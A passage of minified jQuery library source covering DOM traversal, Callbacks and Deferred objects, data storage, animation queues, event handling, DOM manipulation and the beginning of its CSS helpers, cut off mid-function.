H=/^(?:parents|prev(?:Until|All))/,O={children:!0,contents:!0,next:!0,prev:!0};w.fn.extend({has:function(e){var t=w(e,this),n=t.length;return this.filter(function(){for(var e=0;e<n;e++)if(w.contains(this,t[e]))return!0})},closest:function(e,t){var n,r=0,i=this.length,o=[],a="string"!=typeof e&&w(e);if(!D.test(e))for(;r<i;r++)for(n=this[r];n&&n!==t;n=n.parentNode)if(n.nodeType<11&&(a?a.index(n)>-1:1===n.nodeType&&w.find.matchesSelector(n,e))){o.push(n);break}return this.pushStack(o.length>1?w.uniqueSort(o):o)},index:function(e){return e?"string"==typeof e?u.call(w(e),this[0]):u.call(this,e.jquery?e[0]:e):this[0]&&this[0].parentNode?this.first().prevAll().length:-1},add:function(e,t){return this.pushStack(w.uniqueSort(w.merge(this.get(),w(e,t))))},addBack:function(e){return this.add(null==e?this.prevObject:this.prevObject.filter(e))}});function P(e,t){while((e=e[t])&&1!==e.nodeType);return e}w.each({parent:function(e){var t=e.parentNode;return t&&11!==t.nodeType?t:null},parents:function(e){return k(e,"parentNode")},parentsUntil:function(e,t,n){return k(e,"parentNode",n)},next:function(e){return P(e,"nextSibling")},prev:function(e){return P(e,"previousSibling")},nextAll:function(e){return k(e,"nextSibling")},prevAll:function(e){return k(e,"previousSibling")},nextUntil:function(e,t,n){return k(e,"nextSibling",n)},prevUntil:function(e,t,n){return k(e,"previousSibling",n)},siblings:function(e){return S((e.parentNode||{}).firstChild,e)},children:function(e){return S(e.firstChild)},contents:function(e){return N(e,"iframe")?e.contentDocument:(N(e,"template")&&(e=e.content||e),w.merge([],e.childNodes))}},function(e,t){w.fn[e]=function(n,r){var i=w.map(this,t,n);return"Until"!==e.slice(-5)&&(r=n),r&&"string"==typeof r&&(i=w.filter(r,i)),this.length>1&&(O[e]||w.uniqueSort(i),H.test(e)&&i.reverse()),this.pushStack(i)}});var M=/[^\x20\t\r\n\f]+/g;function R(e){var t={};return w.each(e.match(M)||[],function(e,n){t[n]=!0}),t}w.Callbacks=function(e){e="string"==typeof e?R(e):w.extend({},e);var t,n,r,i,o=[],a=[],s=-1,u=function(){for(i=i||e.once,r=t=!0;a.length;s=-1){n=a.shift();while(++s<o.length)!1===o[s].apply(n[0],n[1])&&e.stopOnFalse&&(s=o.length,n=!1)}e.memory||(n=!1),t=!1,i&&(o=n?[]:"")},l={add:function(){return o&&(n&&!t&&(s=o.length-1,a.push(n)),function t(n){w.each(n,function(n,r){g(r)?e.unique&&l.has(r)||o.push(r):r&&r.length&&"string"!==x(r)&&t(r)})}(arguments),n&&!t&&u()),this},remove:function(){return w.each(arguments,function(e,t){var n;while((n=w.inArray(t,o,n))>-1)o.splice(n,1),n<=s&&s--}),this},has:function(e){return e?w.inArray(e,o)>-1:o.length>0},empty:function(){return o&&(o=[]),this},disable:function(){return i=a=[],o=n="",this},disabled:function(){return!o},lock:function(){return i=a=[],n||t||(o=n=""),this},locked:function(){return!!i},fireWith:function(e,n){return i||(n=[e,(n=n||[]).slice?n.slice():n],a.push(n),t||u()),this},fire:function(){return l.fireWith(this,arguments),this},fired:function(){return!!r}};return l};function I(e){return e}function W(e){throw e}function $(e,t,n,r){var i;try{e&&g(i=e.promise)?i.call(e).done(t).fail(n):e&&g(i=e.then)?i.call(e,t,n):t.apply(void 0,[e].slice(r))}catch(e){n.apply(void 0,[e])}}w.extend({Deferred:function(t){var n=[["notify","progress",w.Callbacks("memory"),w.Callbacks("memory"),2],["resolve","done",w.Callbacks("once memory"),w.Callbacks("once memory"),0,"resolved"],["reject","fail",w.Callbacks("once memory"),w.Callbacks("once memory"),1,"rejected"]],r="pending",i={state:function(){return r},always:function(){return o.done(arguments).fail(arguments),this},"catch":function(e){return i.then(null,e)},pipe:function(){var e=arguments;return w.Deferred(function(t){w.each(n,function(n,r){var i=g(e[r[4]])&&e[r[4]];o[r[1]](function(){var e=i&&i.apply(this,arguments);e&&g(e.promise)?e.promise().progress(t.notify).done(t.resolve).fail(t.reject):t[r[0]+"With"](this,i?[e]:arguments)})}),e=null}).promise()},then:function(t,r,i){var o=0;function a(t,n,r,i){return function(){var s=this,u=arguments,l=function(){var e,l;if(!(t<o)){if((e=r.apply(s,u))===n.promise())throw new TypeError("Thenable self-resolution");l=e&&("object"==typeof e||"function"==typeof e)&&e.then,g(l)?i?l.call(e,a(o,n,I,i),a(o,n,W,i)):(o++,l.call(e,a(o,n,I,i),a(o,n,W,i),a(o,n,I,n.notifyWith))):(r!==I&&(s=void 0,u=[e]),(i||n.resolveWith)(s,u))}},c=i?l:function(){try{l()}catch(e){w.Deferred.exceptionHook&&w.Deferred.exceptionHook(e,c.stackTrace),t+1>=o&&(r!==W&&(s=void 0,u=[e]),n.rejectWith(s,u))}};t?c():(w.Deferred.getStackHook&&(c.stackTrace=w.Deferred.getStackHook()),e.setTimeout(c))}}return w.Deferred(function(e){n[0][3].add(a(0,e,g(i)?i:I,e.notifyWith)),n[1][3].add(a(0,e,g(t)?t:I)),n[2][3].add(a(0,e,g(r)?r:W))}).promise()},promise:function(e){return null!=e?w.extend(e,i):i}},o={};return w.each(n,function(e,t){var a=t[2],s=t[5];i[t[1]]=a.add,s&&a.add(function(){r=s},n[3-e][2].disable,n[3-e][3].disable,n[0][2].lock,n[0][3].lock),a.add(t[3].fire),o[t[0]]=function(){return o[t[0]+"With"](this===o?void 0:this,arguments),this},o[t[0]+"With"]=a.fireWith}),i.promise(o),t&&t.call(o,o),o},when:function(e){var t=arguments.length,n=t,r=Array(n),i=o.call(arguments),a=w.Deferred(),s=function(e){return function(n){r[e]=this,i[e]=arguments.length>1?o.call(arguments):n,--t||a.resolveWith(r,i)}};if(t<=1&&($(e,a.done(s(n)).resolve,a.reject,!t),"pending"===a.state()||g(i[n]&&i[n].then)))return a.then();while(n--)$(i[n],s(n),a.reject);return a.promise()}});var B=/^(Eval|Internal|Range|Reference|Syntax|Type|URI)Error$/;w.Deferred.exceptionHook=function(t,n){e.console&&e.console.warn&&t&&B.test(t.name)&&e.console.warn("jQuery.Deferred exception: "+t.message,t.stack,n)},w.readyException=function(t){e.setTimeout(function(){throw t})};var F=w.Deferred();w.fn.ready=function(e){return F.then(e)["catch"](function(e){w.readyException(e)}),this},w.extend({isReady:!1,readyWait:1,ready:function(e){(!0===e?--w.readyWait:w.isReady)||(w.isReady=!0,!0!==e&&--w.readyWait>0||F.resolveWith(r,[w]))}}),w.ready.then=F.then;function _(){r.removeEventListener("DOMContentLoaded",_),e.removeEventListener("load",_),w.ready()}"complete"===r.readyState||"loading"!==r.readyState&&!r.documentElement.doScroll?e.setTimeout(w.ready):(r.addEventListener("DOMContentLoaded",_),e.addEventListener("load",_));var z=function(e,t,n,r,i,o,a){var s=0,u=e.length,l=null==n;if("object"===x(n)){i=!0;for(s in n)z(e,t,s,n[s],!0,o,a)}else if(void 0!==r&&(i=!0,g(r)||(a=!0),l&&(a?(t.call(e,r),t=null):(l=t,t=function(e,t,n){return l.call(w(e),n)})),t))for(;s<u;s++)t(e[s],n,a?r:r.call(e[s],s,t(e[s],n)));return i?e:l?t.call(e):u?t(e[0],n):o},X=/^-ms-/,U=/-([a-z])/g;function V(e,t){return t.toUpperCase()}function G(e){return e.replace(X,"ms-").replace(U,V)}var Y=function(e){return 1===e.nodeType||9===e.nodeType||!+e.nodeType};function Q(){this.expando=w.expando+Q.uid++}Q.uid=1,Q.prototype={cache:function(e){var t=e[this.expando];return t||(t={},Y(e)&&(e.nodeType?e[this.expando]=t:Object.defineProperty(e,this.expando,{value:t,configurable:!0}))),t},set:function(e,t,n){var r,i=this.cache(e);if("string"==typeof t)i[G(t)]=n;else for(r in t)i[G(r)]=t[r];return i},get:function(e,t){return void 0===t?this.cache(e):e[this.expando]&&e[this.expando][G(t)]},access:function(e,t,n){return void 0===t||t&&"string"==typeof t&&void 0===n?this.get(e,t):(this.set(e,t,n),void 0!==n?n:t)},remove:function(e,t){var n,r=e[this.expando];if(void 0!==r){if(void 0!==t){n=(t=Array.isArray(t)?t.map(G):(t=G(t))in r?[t]:t.match(M)||[]).length;while(n--)delete r[t[n]]}(void 0===t||w.isEmptyObject(r))&&(e.nodeType?e[this.expando]=void 0:delete e[this.expando])}},hasData:function(e){var t=e[this.expando];return void 0!==t&&!w.isEmptyObject(t)}};var J=new Q,K=new Q,Z=/^(?:\{[\w\W]*\}|\[[\w\W]*\])$/,ee=/[A-Z]/g;function te(e){return"true"===e||"false"!==e&&("null"===e?null:e===+e+""?+e:Z.test(e)?JSON.parse(e):e)}function ne(e,t,n){var r;if(void 0===n&&1===e.nodeType)if(r="data-"+t.replace(ee,"-$&").toLowerCase(),"string"==typeof(n=e.getAttribute(r))){try{n=te(n)}catch(e){}K.set(e,t,n)}else n=void 0;return n}w.extend({hasData:function(e){return K.hasData(e)||J.hasData(e)},data:function(e,t,n){return K.access(e,t,n)},removeData:function(e,t){K.remove(e,t)},_data:function(e,t,n){return J.access(e,t,n)},_removeData:function(e,t){J.remove(e,t)}}),w.fn.extend({data:function(e,t){var n,r,i,o=this[0],a=o&&o.attributes;if(void 0===e){if(this.length&&(i=K.get(o),1===o.nodeType&&!J.get(o,"hasDataAttrs"))){n=a.length;while(n--)a[n]&&0===(r=a[n].name).indexOf("data-")&&(r=G(r.slice(5)),ne(o,r,i[r]));J.set(o,"hasDataAttrs",!0)}return i}return"object"==typeof e?this.each(function(){K.set(this,e)}):z(this,function(t){var n;if(o&&void 0===t){if(void 0!==(n=K.get(o,e)))return n;if(void 0!==(n=ne(o,e)))return n}else this.each(function(){K.set(this,e,t)})},null,t,arguments.length>1,null,!0)},removeData:function(e){return this.each(function(){K.remove(this,e)})}}),w.extend({queue:function(e,t,n){var r;if(e)return t=(t||"fx")+"queue",r=J.get(e,t),n&&(!r||Array.isArray(n)?r=J.access(e,t,w.makeArray(n)):r.push(n)),r||[]},dequeue:function(e,t){t=t||"fx";var n=w.queue(e,t),r=n.length,i=n.shift(),o=w._queueHooks(e,t),a=function(){w.dequeue(e,t)};"inprogress"===i&&(i=n.shift(),r--),i&&("fx"===t&&n.unshift("inprogress"),delete o.stop,i.call(e,a,o)),!r&&o&&o.empty.fire()},_queueHooks:function(e,t){var n=t+"queueHooks";return J.get(e,n)||J.access(e,n,{empty:w.Callbacks("once memory").add(function(){J.remove(e,[t+"queue",n])})})}}),w.fn.extend({queue:function(e,t){var n=2;return"string"!=typeof e&&(t=e,e="fx",n--),arguments.length<n?w.queue(this[0],e):void 0===t?this:this.each(function(){var n=w.queue(this,e,t);w._queueHooks(this,e),"fx"===e&&"inprogress"!==n[0]&&w.dequeue(this,e)})},dequeue:function(e){return this.each(function(){w.dequeue(this,e)})},clearQueue:function(e){return this.queue(e||"fx",[])},promise:function(e,t){var n,r=1,i=w.Deferred(),o=this,a=this.length,s=function(){--r||i.resolveWith(o,[o])};"string"!=typeof e&&(t=e,e=void 0),e=e||"fx";while(a--)(n=J.get(o[a],e+"queueHooks"))&&n.empty&&(r++,n.empty.add(s));return s(),i.promise(t)}});var re=/[+-]?(?:\d*\.|)\d+(?:[eE][+-]?\d+|)/.source,ie=new RegExp("^(?:([+-])=|)("+re+")([a-z%]*)$","i"),oe=["Top","Right","Bottom","Left"],ae=function(e,t){return"none"===(e=t||e).style.display||""===e.style.display&&w.contains(e.ownerDocument,e)&&"none"===w.css(e,"display")},se=function(e,t,n,r){var i,o,a={};for(o in t)a[o]=e.style[o],e.style[o]=t[o];i=n.apply(e,r||[]);for(o in t)e.style[o]=a[o];return i};function ue(e,t,n,r){var i,o,a=20,s=r?function(){return r.cur()}:function(){return w.css(e,t,"")},u=s(),l=n&&n[3]||(w.cssNumber[t]?"":"px"),c=(w.cssNumber[t]||"px"!==l&&+u)&&ie.exec(w.css(e,t));if(c&&c[3]!==l){u/=2,l=l||c[3],c=+u||1;while(a--)w.style(e,t,c+l),(1-o)*(1-(o=s()/u||.5))<=0&&(a=0),c/=o;c*=2,w.style(e,t,c+l),n=n||[]}return n&&(c=+c||+u||0,i=n[1]?c+(n[1]+1)*n[2]:+n[2],r&&(r.unit=l,r.start=c,r.end=i)),i}var le={};function ce(e){var t,n=e.ownerDocument,r=e.nodeName,i=le[r];return i||(t=n.body.appendChild(n.createElement(r)),i=w.css(t,"display"),t.parentNode.removeChild(t),"none"===i&&(i="block"),le[r]=i,i)}function fe(e,t){for(var n,r,i=[],o=0,a=e.length;o<a;o++)(r=e[o]).style&&(n=r.style.display,t?("none"===n&&(i[o]=J.get(r,"display")||null,i[o]||(r.style.display="")),""===r.style.display&&ae(r)&&(i[o]=ce(r))):"none"!==n&&(i[o]="none",J.set(r,"display",n)));for(o=0;o<a;o++)null!=i[o]&&(e[o].style.display=i[o]);return e}w.fn.extend({show:function(){return fe(this,!0)},hide:function(){return fe(this)},toggle:function(e){return"boolean"==typeof e?e?this.show():this.hide():this.each(function(){ae(this)?w(this).show():w(this).hide()})}});var pe=/^(?:checkbox|radio)$/i,de=/<([a-z][^\/\0>\x20\t\r\n\f]+)/i,he=/^$|^module$|\/(?:java|ecma)script/i,ge={option:[1,"<select multiple='multiple'>","</select>"],thead:[1,"<table>","</table>"],col:[2,"<table><colgroup>","</colgroup></table>"],tr:[2,"<table><tbody>","</tbody></table>"],td:[3,"<table><tbody><tr>","</tr></tbody></table>"],_default:[0,"",""]};ge.optgroup=ge.option,ge.tbody=ge.tfoot=ge.colgroup=ge.caption=ge.thead,ge.th=ge.td;function ye(e,t){var n;return n="undefined"!=typeof e.getElementsByTagName?e.getElementsByTagName(t||"*"):"undefined"!=typeof e.querySelectorAll?e.querySelectorAll(t||"*"):[],void 0===t||t&&N(e,t)?w.merge([e],n):n}function ve(e,t){for(var n=0,r=e.length;n<r;n++)J.set(e[n],"globalEval",!t||J.get(t[n],"globalEval"))}var me=/<|&#?\w+;/;function xe(e,t,n,r,i){for(var o,a,s,u,l,c,f=t.createDocumentFragment(),p=[],d=0,h=e.length;d<h;d++)if((o=e[d])||0===o)if("object"===x(o))w.merge(p,o.nodeType?[o]:o);else if(me.test(o)){a=a||f.appendChild(t.createElement("div")),s=(de.exec(o)||["",""])[1].toLowerCase(),u=ge[s]||ge._default,a.innerHTML=u[1]+w.htmlPrefilter(o)+u[2],c=u[0];while(c--)a=a.lastChild;w.merge(p,a.childNodes),(a=f.firstChild).textContent=""}else p.push(t.createTextNode(o));f.textContent="",d=0;while(o=p[d++])if(r&&w.inArray(o,r)>-1)i&&i.push(o);else if(l=w.contains(o.ownerDocument,o),a=ye(f.appendChild(o),"script"),l&&ve(a),n){c=0;while(o=a[c++])he.test(o.type||"")&&n.push(o)}return f}!function(){var e=r.createDocumentFragment().appendChild(r.createElement("div")),t=r.createElement("input");t.setAttribute("type","radio"),t.setAttribute("checked","checked"),t.setAttribute("name","t"),e.appendChild(t),h.checkClone=e.cloneNode(!0).cloneNode(!0).lastChild.checked,e.innerHTML="<textarea>x</textarea>",h.noCloneChecked=!!e.cloneNode(!0).lastChild.defaultValue}();var be=r.documentElement,we=/^key/,Te=/^(?:mouse|pointer|contextmenu|drag|drop)|click/,Ce=/^([^.]*)(?:\.(.+)|)/;function Ee(){return!0}function ke(){return!1}function Se(){try{return r.activeElement}catch(e){}}function De(e,t,n,r,i,o){var a,s;if("object"==typeof t){"string"!=typeof n&&(r=r||n,n=void 0);for(s in t)De(e,s,n,r,t[s],o);return e}if(null==r&&null==i?(i=n,r=n=void 0):null==i&&("string"==typeof n?(i=r,r=void 0):(i=r,r=n,n=void 0)),!1===i)i=ke;else if(!i)return e;return 1===o&&(a=i,(i=function(e){return w().off(e),a.apply(this,arguments)}).guid=a.guid||(a.guid=w.guid++)),e.each(function(){w.event.add(this,t,i,r,n)})}w.event={global:{},add:function(e,t,n,r,i){var o,a,s,u,l,c,f,p,d,h,g,y=J.get(e);if(y){n.handler&&(n=(o=n).handler,i=o.selector),i&&w.find.matchesSelector(be,i),n.guid||(n.guid=w.guid++),(u=y.events)||(u=y.events={}),(a=y.handle)||(a=y.handle=function(t){return"undefined"!=typeof w&&w.event.triggered!==t.type?w.event.dispatch.apply(e,arguments):void 0}),l=(t=(t||"").match(M)||[""]).length;while(l--)d=g=(s=Ce.exec(t[l])||[])[1],h=(s[2]||"").split(".").sort(),d&&(f=w.event.special[d]||{},d=(i?f.delegateType:f.bindType)||d,f=w.event.special[d]||{},c=w.extend({type:d,origType:g,data:r,handler:n,guid:n.guid,selector:i,needsContext:i&&w.expr.match.needsContext.test(i),namespace:h.join(".")},o),(p=u[d])||((p=u[d]=[]).delegateCount=0,f.setup&&!1!==f.setup.call(e,r,h,a)||e.addEventListener&&e.addEventListener(d,a)),f.add&&(f.add.call(e,c),c.handler.guid||(c.handler.guid=n.guid)),i?p.splice(p.delegateCount++,0,c):p.push(c),w.event.global[d]=!0)}},remove:function(e,t,n,r,i){var o,a,s,u,l,c,f,p,d,h,g,y=J.hasData(e)&&J.get(e);if(y&&(u=y.events)){l=(t=(t||"").match(M)||[""]).length;while(l--)if(s=Ce.exec(t[l])||[],d=g=s[1],h=(s[2]||"").split(".").sort(),d){f=w.event.special[d]||{},p=u[d=(r?f.delegateType:f.bindType)||d]||[],s=s[2]&&new RegExp("(^|\\.)"+h.join("\\.(?:.*\\.|)")+"(\\.|$)"),a=o=p.length;while(o--)c=p[o],!i&&g!==c.origType||n&&n.guid!==c.guid||s&&!s.test(c.namespace)||r&&r!==c.selector&&("**"!==r||!c.selector)||(p.splice(o,1),c.selector&&p.delegateCount--,f.remove&&f.remove.call(e,c));a&&!p.length&&(f.teardown&&!1!==f.teardown.call(e,h,y.handle)||w.removeEvent(e,d,y.handle),delete u[d])}else for(d in u)w.event.remove(e,d+t[l],n,r,!0);w.isEmptyObject(u)&&J.remove(e,"handle events")}},dispatch:function(e){var t=w.event.fix(e),n,r,i,o,a,s,u=new Array(arguments.length),l=(J.get(this,"events")||{})[t.type]||[],c=w.event.special[t.type]||{};for(u[0]=t,n=1;n<arguments.length;n++)u[n]=arguments[n];if(t.delegateTarget=this,!c.preDispatch||!1!==c.preDispatch.call(this,t)){s=w.event.handlers.call(this,t,l),n=0;while((o=s[n++])&&!t.isPropagationStopped()){t.currentTarget=o.elem,r=0;while((a=o.handlers[r++])&&!t.isImmediatePropagationStopped())t.rnamespace&&!t.rnamespace.test(a.namespace)||(t.handleObj=a,t.data=a.data,void 0!==(i=((w.event.special[a.origType]||{}).handle||a.handler).apply(o.elem,u))&&!1===(t.result=i)&&(t.preventDefault(),t.stopPropagation()))}return c.postDispatch&&c.postDispatch.call(this,t),t.result}},handlers:function(e,t){var n,r,i,o,a,s=[],u=t.delegateCount,l=e.target;if(u&&l.nodeType&&!("click"===e.type&&e.button>=1))for(;l!==this;l=l.parentNode||this)if(1===l.nodeType&&("click"!==e.type||!0!==l.disabled)){for(o=[],a={},n=0;n<u;n++)void 0===a[i=(r=t[n]).selector+" "]&&(a[i]=r.needsContext?w(i,this).index(l)>-1:w.find(i,this,null,[l]).length),a[i]&&o.push(r);o.length&&s.push({elem:l,handlers:o})}return l=this,u<t.length&&s.push({elem:l,handlers:t.slice(u)}),s},addProp:function(e,t){Object.defineProperty(w.Event.prototype,e,{enumerable:!0,configurable:!0,get:g(t)?function(){if(this.originalEvent)return t(this.originalEvent)}:function(){if(this.originalEvent)return this.originalEvent[e]},set:function(t){Object.defineProperty(this,e,{enumerable:!0,configurable:!0,writable:!0,value:t})}})},fix:function(e){return e[w.expando]?e:new w.Event(e)},special:{load:{noBubble:!0},focus:{trigger:function(){if(this!==Se()&&this.focus)return this.focus(),!1},delegateType:"focusin"},blur:{trigger:function(){if(this===Se()&&this.blur)return this.blur(),!1},delegateType:"focusout"},click:{trigger:function(){if("checkbox"===this.type&&this.click&&N(this,"input"))return this.click(),!1},_default:function(e){return N(e.target,"a")}},beforeunload:{postDispatch:function(e){void 0!==e.result&&e.originalEvent&&(e.originalEvent.returnValue=e.result)}}}},w.removeEvent=function(e,t,n){e.removeEventListener&&e.removeEventListener(t,n)},w.Event=function(e,t){if(!(this instanceof w.Event))return new w.Event(e,t);e&&e.type?(this.originalEvent=e,this.type=e.type,this.isDefaultPrevented=e.defaultPrevented||void 0===e.defaultPrevented&&!1===e.returnValue?Ee:ke,this.target=e.target&&3===e.target.nodeType?e.target.parentNode:e.target,this.currentTarget=e.currentTarget,this.relatedTarget=e.relatedTarget):this.type=e,t&&w.extend(this,t),this.timeStamp=e&&e.timeStamp||Date.now(),this[w.expando]=!0},w.Event.prototype={constructor:w.Event,isDefaultPrevented:ke,isPropagationStopped:ke,isImmediatePropagationStopped:ke,isSimulated:!1,preventDefault:function(){var e=this.originalEvent;this.isDefaultPrevented=Ee,e&&!this.isSimulated&&e.preventDefault()},stopPropagation:function(){var e=this.originalEvent;this.isPropagationStopped=Ee,e&&!this.isSimulated&&e.stopPropagation()},stopImmediatePropagation:function(){var e=this.originalEvent;this.isImmediatePropagationStopped=Ee,e&&!this.isSimulated&&e.stopImmediatePropagation(),this.stopPropagation()}},w.each({altKey:!0,bubbles:!0,cancelable:!0,changedTouches:!0,ctrlKey:!0,detail:!0,eventPhase:!0,metaKey:!0,pageX:!0,pageY:!0,shiftKey:!0,view:!0,"char":!0,charCode:!0,key:!0,keyCode:!0,button:!0,buttons:!0,clientX:!0,clientY:!0,offsetX:!0,offsetY:!0,pointerId:!0,pointerType:!0,screenX:!0,screenY:!0,targetTouches:!0,toElement:!0,touches:!0,which:function(e){var t=e.button;return null==e.which&&we.test(e.type)?null!=e.charCode?e.charCode:e.keyCode:!e.which&&void 0!==t&&Te.test(e.type)?1&t?1:2&t?3:4&t?2:0:e.which}},w.event.addProp),w.each({mouseenter:"mouseover",mouseleave:"mouseout",pointerenter:"pointerover",pointerleave:"pointerout"},function(e,t){w.event.special[e]={delegateType:t,bindType:t,handle:function(e){var n,r=this,i=e.relatedTarget,o=e.handleObj;return i&&(i===r||w.contains(r,i))||(e.type=o.origType,n=o.handler.apply(this,arguments),e.type=t),n}}}),w.fn.extend({on:function(e,t,n,r){return De(this,e,t,n,r)},one:function(e,t,n,r){return De(this,e,t,n,r,1)},off:function(e,t,n){var r,i;if(e&&e.preventDefault&&e.handleObj)return r=e.handleObj,w(e.delegateTarget).off(r.namespace?r.origType+"."+r.namespace:r.origType,r.selector,r.handler),this;if("object"==typeof e){for(i in e)this.off(i,t,e[i]);return this}return!1!==t&&"function"!=typeof t||(n=t,t=void 0),!1===n&&(n=ke),this.each(function(){w.event.remove(this,e,n,t)})}});var Ne=/<(?!area|br|col|embed|hr|img|input|link|meta|param)(([a-z][^\/\0>\x20\t\r\n\f]*)[^>]*)\/>/gi,Ae=/<script|<style|<link/i,je=/checked\s*(?:[^=]|=\s*.checked.)/i,qe=/^\s*<!(?:\[CDATA\[|--)|(?:\]\]|--)>\s*$/g;function Le(e,t){return N(e,"table")&&N(11!==t.nodeType?t:t.firstChild,"tr")?w(e).children("tbody")[0]||e:e}function He(e){return e.type=(null!==e.getAttribute("type"))+"/"+e.type,e}function Oe(e){return"true/"===(e.type||"").slice(0,5)?e.type=e.type.slice(5):e.removeAttribute("type"),e}function Pe(e,t){var n,r,i,o,a,s,u,l;if(1===t.nodeType){if(J.hasData(e)&&(o=J.access(e),a=J.set(t,o),l=o.events)){delete a.handle,a.events={};for(i in l)for(n=0,r=l[i].length;n<r;n++)w.event.add(t,i,l[i][n])}K.hasData(e)&&(s=K.access(e),u=w.extend({},s),K.set(t,u))}}function Me(e,t){var n=t.nodeName.toLowerCase();"input"===n&&pe.test(e.type)?t.checked=e.checked:"input"!==n&&"textarea"!==n||(t.defaultValue=e.defaultValue)}function Re(e,t,n,r){t=a.apply([],t);var i,o,s,u,l,c,f=0,p=e.length,d=p-1,y=t[0],v=g(y);if(v||p>1&&"string"==typeof y&&!h.checkClone&&je.test(y))return e.each(function(i){var o=e.eq(i);v&&(t[0]=y.call(this,i,o.html())),Re(o,t,n,r)});if(p&&(i=xe(t,e[0].ownerDocument,!1,e,r),o=i.firstChild,1===i.childNodes.length&&(i=o),o||r)){for(u=(s=w.map(ye(i,"script"),He)).length;f<p;f++)l=i,f!==d&&(l=w.clone(l,!0,!0),u&&w.merge(s,ye(l,"script"))),n.call(e[f],l,f);if(u)for(c=s[s.length-1].ownerDocument,w.map(s,Oe),f=0;f<u;f++)l=s[f],he.test(l.type||"")&&!J.access(l,"globalEval")&&w.contains(c,l)&&(l.src&&"module"!==(l.type||"").toLowerCase()?w._evalUrl&&w._evalUrl(l.src):m(l.textContent.replace(qe,""),c,l))}return e}function Ie(e,t,n){for(var r,i=t?w.filter(t,e):e,o=0;null!=(r=i[o]);o++)n||1!==r.nodeType||w.cleanData(ye(r)),r.parentNode&&(n&&w.contains(r.ownerDocument,r)&&ve(ye(r,"script")),r.parentNode.removeChild(r));return e}w.extend({htmlPrefilter:function(e){return e.replace(Ne,"<$1></$2>")},clone:function(e,t,n){var r,i,o,a,s=e.cloneNode(!0),u=w.contains(e.ownerDocument,e);if(!(h.noCloneChecked||1!==e.nodeType&&11!==e.nodeType||w.isXMLDoc(e)))for(a=ye(s),r=0,i=(o=ye(e)).length;r<i;r++)Me(o[r],a[r]);if(t)if(n)for(o=o||ye(e),a=a||ye(s),r=0,i=o.length;r<i;r++)Pe(o[r],a[r]);else Pe(e,s);return(a=ye(s,"script")).length>0&&ve(a,!u&&ye(e,"script")),s},cleanData:function(e){for(var t,n,r,i=w.event.special,o=0;void 0!==(n=e[o]);o++)if(Y(n)){if(t=n[J.expando]){if(t.events)for(r in t.events)i[r]?w.event.remove(n,r):w.removeEvent(n,r,t.handle);n[J.expando]=void 0}n[K.expando]&&(n[K.expando]=void 0)}}}),w.fn.extend({detach:function(e){return Ie(this,e,!0)},remove:function(e){return Ie(this,e)},text:function(e){return z(this,function(e){return void 0===e?w.text(this):this.empty().each(function(){1!==this.nodeType&&11!==this.nodeType&&9!==this.nodeType||(this.textContent=e)})},null,e,arguments.length)},append:function(){return Re(this,arguments,function(e){1!==this.nodeType&&11!==this.nodeType&&9!==this.nodeType||Le(this,e).appendChild(e)})},prepend:function(){return Re(this,arguments,function(e){if(1===this.nodeType||11===this.nodeType||9===this.nodeType){var t=Le(this,e);t.insertBefore(e,t.firstChild)}})},before:function(){return Re(this,arguments,function(e){this.parentNode&&this.parentNode.insertBefore(e,this)})},after:function(){return Re(this,arguments,function(e){this.parentNode&&this.parentNode.insertBefore(e,this.nextSibling)})},empty:function(){for(var e,t=0;null!=(e=this[t]);t++)1===e.nodeType&&(w.cleanData(ye(e,!1)),e.textContent="");return this},clone:function(e,t){return e=null!=e&&e,t=null==t?e:t,this.map(function(){return w.clone(this,e,t)})},html:function(e){return z(this,function(e){var t=this[0]||{},n=0,r=this.length;if(void 0===e&&1===t.nodeType)return t.innerHTML;if("string"==typeof e&&!Ae.test(e)&&!ge[(de.exec(e)||["",""])[1].toLowerCase()]){e=w.htmlPrefilter(e);try{for(;n<r;n++)1===(t=this[n]||{}).nodeType&&(w.cleanData(ye(t,!1)),t.innerHTML=e);t=0}catch(e){}}t&&this.empty().append(e)},null,e,arguments.length)},replaceWith:function(){var e=[];return Re(this,arguments,function(t){var n=this.parentNode;w.inArray(this,e)<0&&(w.cleanData(ye(this)),n&&n.replaceChild(t,this))},e)}}),w.each({appendTo:"append",prependTo:"prepend",insertBefore:"before",insertAfter:"after",replaceAll:"replaceWith"},function(e,t){w.fn[e]=function(e){for(var n,r=[],i=w(e),o=i.length-1,a=0;a<=o;a++)n=a===o?this:this.clone(!0),w(i[a])[t](n),s.apply(r,n.get());return this.pushStack(r)}});var We=new RegExp("^("+re+")(?!px)[a-z%]+$","i"),$e=function(t){var n=t.ownerDocument.defaultView;return n&&n.opener||(n=e),n.getComputedStyle(t)},Be=new RegExp(oe.join("|"),"i");!function(){function t(){if(c){l.style.cssText="position:absolute;left:-11111px;width:60px;margin-top:1px;padding:0;border:0",c.style.cssText="position:relative;display:block;box-sizing:border-box;overflow:scroll;margin:auto;border:1px;padding:1px;width:60%;top:1%",be.appendChild(l).appendChild(c);var t=e.getComputedStyle(c);i="1%"!==t.top,u=12===n(t.marginLeft),c.style.right="60%",s=36===n(t.right),o=36===n(t.width),c.style.position="absolute",a=36===c.offsetWidth||"absolute",be.removeChild(l),c=null}}function n(e){return Math.round(parseFloat(e))}var i,o,a,s,u,l=r.createElement("div"),c=r.createElement("div");c.style&&(c.style.backgroundClip="content-box",c.cloneNode(!0).style.backgroundClip="",h.clearCloneStyle="content-box"===c.style.backgroundClip,w.extend(h,{boxSizingReliable:function(){return t(),o},pixelBoxStyles:function(){return t(),s},pixelPosition:function(){return t(),i},reliableMarginLeft:function(){return t(),u},scrollboxSize:function(){return t(),a}}))}();function Fe(e,t,n){var r,i,o,a,s=e.style;return(n=n||$e(e))&&(""!==(a=n.getPropertyValue(t)||n[t])||w.contains(e.ownerDocument,e)||(a=w.style(e,t)),!h.pixelBoxStyles()&&We.test(a)&&Be.test(t)&&(r=s.width,i=s.minWidth,o=s.maxWidth,s.minWidth=s.maxWidth=s.width=a,a=n.width,s.width=r,s.minWidth=i,s.maxWidth=o)),void 0!==a?a+"":a}function _e(e,t){return{get:function(){if(!e())return(this.get=t).apply(this,arguments);delete this.get}}}var ze=/^(none|table(?!-c[ea]).+)/,Xe=/^--/,Ue={position:"absolute",visibility:"hidden",display:"block"},Ve={letterSpacing:"0",fontWeight:"400"},Ge=["Webkit","Moz","ms"],Ye=r.createElement("div").style;function Qe(e){if(e in Ye)return e;var t=e[0].toUpperCase()+e.slice(1),n=Ge.length;while(n--)if((e=Ge[n]+t)in Ye)return e}function Je(e){var t=w.cssProps[e];return t||(t=w.cssProps[e]=Qe(e)||e),t}function Ke(e,t,n){var r=ie.exec(t);return 